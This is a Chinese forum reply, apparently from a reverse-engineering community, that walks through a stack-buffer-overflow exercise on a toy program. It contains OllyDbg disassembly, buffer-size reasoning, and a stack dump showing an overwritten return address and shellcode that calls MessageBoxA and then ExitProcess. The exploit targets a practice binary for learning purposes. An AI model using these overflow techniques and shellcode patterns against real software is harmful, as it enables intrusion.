- UID
- 67318
注册时间2010-5-26
阅读权限10
最后登录1970-1-1
周游历练
该用户从未签到
|
发表于 2010-5-27 23:20:12
|
显示全部楼层
本帖最后由 anyone 于 2010-5-28 18:18 编辑
调了一下,基本理解。
给个处理返回的。在我的虚拟机XPSP3上正常。
00401090 /> \55 push ebp
00401091 |. 8BEC mov ebp,esp
00401093 81EC 48040000 sub esp,448
00401099 |. 53 push ebx
0040109A |. 56 push esi
0040109B |. 57 push edi
0040109C 8DBD B8FBFFFF lea edi,dword ptr ss:[ebp-448]
004010A2 |. B9 12010000 mov ecx,112
004010A7 |. B8 CCCCCCCC mov eax,CCCCCCCC
004010AC |. F3:AB rep stos dword ptr es:[edi]
004010AE |. C745 FC 00000>mov dword ptr ss:[ebp-4],0
004010B5 |. 68 B0804200 push stack_ov.004280B0 ; /rw+
004010BA |. 68 A0804200 push stack_ov.004280A0 ; |password.txt
004010BF |. E8 6C080000 call stack_ov.00401930 ; \stack_ov.00401930
大体上是开1094个连续空间用来装Password.txe里的内容
0040101F CC int3
00401020 /> 55 push ebp
00401021 |. 8BEC mov ebp,esp
00401023 |. 83EC 4C sub esp,4C
00401026 |. 53 push ebx
00401027 |. 56 push esi
00401028 |. 57 push edi
00401029 |. 8D7D B4 lea edi,dword ptr ss:[ebp-4C]
0040102C |. B9 13000000 mov ecx,13
00401031 |. B8 CCCCCCCC mov eax,CCCCCCCC
00401036 |. F3:AB rep stos dword ptr es:[edi]
00401038 |. 68 1C804200 push stack_ov.0042801C ; 1234567
0040103D |. 8B45 08 mov eax,dword ptr ss:[ebp+8]
00401040 |. 50 push eax
00401041 |. E8 5A020000 call stack_ov.004012A0
00401046 |. 83C4 08 add esp,8
00401049 |. 8945 FC mov dword ptr ss:[ebp-4],eax
0040104C |. 8B4D 08 mov ecx,dword ptr ss:[ebp+8] ; (Initial CPU selection)
0040104F |. 51 push ecx
开一个4C大小也就是76个连断空间其实我们只有8个就够了。1234567+NULL
004011B0 $ 57 push edi
004011B1 . 8B7C24 08 mov edi,dword ptr ss:[esp+8]
004011B5 . EB 6A jmp short stack_ov.00401221
004011B7 8D db 8D
004011B8 A4 db A4
004011B9 24 db 24 ; CHAR '$'
004011BA 00 db 00
004011BB 00 db 00
004011BC 00 db 00
004011BD 00 db 00
004011BE 8BFF mov edi,edi
004011C0 /$ 8B4C24 04 mov ecx,dword ptr ss:[esp+4]
004011C4 |. 57 push edi
004011C5 |. F7C1 03000000 test ecx,3
004011CB |. 74 0F je short stack_ov.004011DC
004011CD |> 8A01 /mov al,byte ptr ds:[ecx]
以上这断代码不全,总的就是做个交换数据。1906连断空间内的内容放到4C里。
结果就成这样了。
0012FB20 47595065
0012FB24 7FFA4512 //这是我们的返回地址。这是你构造好的。我就不改了。
0012FB28 6853DB33
0012FB2C 7070726F
0012FB30 79687768
0012FB34 53C48B6F
0012FB38 B8535050
0012FB3C 77D507EA user32.MessageBoxA
0012FB40 CBE8D0FF
0012FB44 007C6ECF
0012FB48 CCCCCCCC
根据分析890abcdef内容是不有用处的,可以任意改。
大小是4C个空间就直接在后面加代码E8CBCF6E7C方便他退出,不出报错。
0012FB42 E8 CBCF6E7C call kernel32.ExitProcess |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?加入我们
x
|